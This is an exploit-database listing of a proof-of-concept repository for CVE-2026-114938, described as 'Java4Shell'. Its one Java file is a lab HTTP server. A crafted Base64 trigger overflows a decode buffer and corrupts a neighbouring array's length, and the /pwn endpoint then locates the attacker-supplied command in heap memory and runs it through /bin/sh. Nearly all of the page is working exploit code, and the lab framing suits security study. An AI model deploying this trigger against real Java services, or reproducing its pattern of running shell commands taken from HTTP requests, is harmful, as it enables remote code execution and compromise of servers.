Exploit databaseDownload repository ZIP
GH-39df4d7de76f9d99fed90fee67363cad
tahucryptsi/poc-cve-2026-114938-java4shell-base64-oob
Sources for CVE-2026-114938
42 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files1
tahucryptsi/poc-cve-2026-114938-java4shell-base64-oobRevision 014f5be9cd46
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
lab-sde/app/RemoteRceLab3.java
Java · 5,732 bytesimport com.sun.net.httpserver.HttpServer;
import java.io.FileWriter;
import java.net.InetSocketAddress;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
/**
* RemoteRceLab - CVE-2026-114938 (Java4Shell) remote RCE lab over plain HTTP.
*
* Service pattern (realistic maintenance hook): per-request the service allocates a
* scratch buffer for decoding attacker Base64 and, right after it, the session blob it
* later reads config bytes from at an attacker-supplied offset.
*
* The whole chain runs over HTTP with READ-ONLY heap access after corruption:
* 1. /warm JIT the (src,dst) decode path so the AVX-512 intrinsic substitutes
* 2. /pwn session (scratch[98] + blob[100] contiguous) -> attacker payload arrives
* in the same request and is allocated after the session -> ONE valid
* base64 decode (129*'A' + '=') writes 64 B past the scratch data,
* corrupting the neighbouring blob's length field -> blob[off] reads are
* no longer bounds-checked (length becomes a huge unsigned value) ->
* the service reads the attacker's own command bytes out of the heap and
* executes them.
*/
public class RemoteRceLab3 {
static final byte[] TRIG = trigger();
static final String LOG = "/tmp/rl_pwn.log";
static byte[] trigger() {
byte[] t = new byte[130];
java.util.Arrays.fill(t, (byte) 'A');
t[129] = '=';
return t;
}
static void log(String s) {
try (FileWriter w = new FileWriter(LOG, true)) { w.write(s + "\n"); }
catch (Exception ignored) {}
}
static final class Sess {
final byte[] scratch = new byte[98]; // decode destination (attacker fed)
final byte[] blob = new byte[100]; // neighbour -> header gets corrupted
Sess() {
byte[] tmpl = "echo safe-maintenance".getBytes(StandardCharsets.US_ASCII);
System.arraycopy(tmpl, 0, blob, 0, tmpl.length);
for (int i = tmpl.length; i < blob.length; i++) blob[i] = (byte) '.';
}
}
public static void main(String[] args) throws Exception {
int port = Integer.parseInt(System.getenv().getOrDefault("PORT", "8080"));
HttpServer s = HttpServer.create(new InetSocketAddress(port), 0);
s.createContext("/", ex -> {
String path = ex.getRequestURI().getPath();
String q = ex.getRequestURI().getQuery();
byte[] body;
try {
if ("/warm".equals(path)) {
int n = q != null && q.startsWith("n=") ? Integer.parseInt(q.substring(2)) : 250000;
byte[] wdst = new byte[256];
for (int i = 0; i < n; i++) {
try { Base64.getDecoder().decode(TRIG, wdst); }
catch (IllegalArgumentException ignored) {}
}
body = ("warmed " + n).getBytes(StandardCharsets.UTF_8);
} else if ("/pwn".equals(path)) {
String cmd = "echo noop";
if (q != null) for (String kv : q.split("&")) if (kv.startsWith("cmd=")) cmd = kv.substring(4);
body = pwn(cmd);
} else {
body = "remote rce lab".getBytes(StandardCharsets.UTF_8);
}
} catch (Throwable t) {
body = ("ERR " + t.getClass().getSimpleName()).getBytes(StandardCharsets.UTF_8);
}
ex.sendResponseHeaders(200, body.length);
ex.getResponseBody().write(body);
ex.close();
});
s.setExecutor(null);
s.start();
System.out.println("remote rce lab up on " + port);
}
static byte[] pwn(String cmd) throws Exception {
Sess ss = new Sess();
// the attacker's command already lives in this request's heap (query string copy)
byte[] payload = cmd.getBytes(StandardCharsets.US_ASCII);
int before = ss.blob.length;
try { Base64.getDecoder().decode(TRIG, ss.scratch); }
catch (IllegalArgumentException iae) { log("decode threw after store"); }
int after = ss.blob.length;
log("blob.length " + before + " -> " + after);
if (before == after) return ("no corruption (" + after + ")").getBytes(StandardCharsets.UTF_8);
// bounded scan: stays inside the committed young-gen region
int found = -1;
int limit = 4096;
for (int off = 0; off + payload.length < limit && found < 0; off++) {
boolean hit = true;
for (int j = 0; j < payload.length; j++) {
if (ss.blob[off + j] != payload[j]) { hit = false; break; }
}
if (hit) found = off;
}
log("payload @" + found + " (limit " + limit + ")");
if (found < 0) return ("payload not found; len=" + after).getBytes(StandardCharsets.UTF_8);
// byte-oriented config reader: executed command = heap bytes at attacker offset
StringBuilder sb = new StringBuilder();
for (int i = 0; i < payload.length; i++) sb.append((char) (ss.blob[found + i] & 0xFF));
String commanded = sb.toString();
log("exec: " + commanded);
Process p = new ProcessBuilder("/bin/sh", "-c", commanded).start();
byte[] out = p.getInputStream().readAllBytes();
int rc = p.waitFor();
String outS = new String(out, StandardCharsets.UTF_8);
log("exit=" + rc + " out=" + outS.trim());
return ("blobLen=" + after + "\noffset=" + found + "\ncmd=" + commanded
+ "\nexit=" + rc + "\n" + outS).getBytes(StandardCharsets.UTF_8);
}
}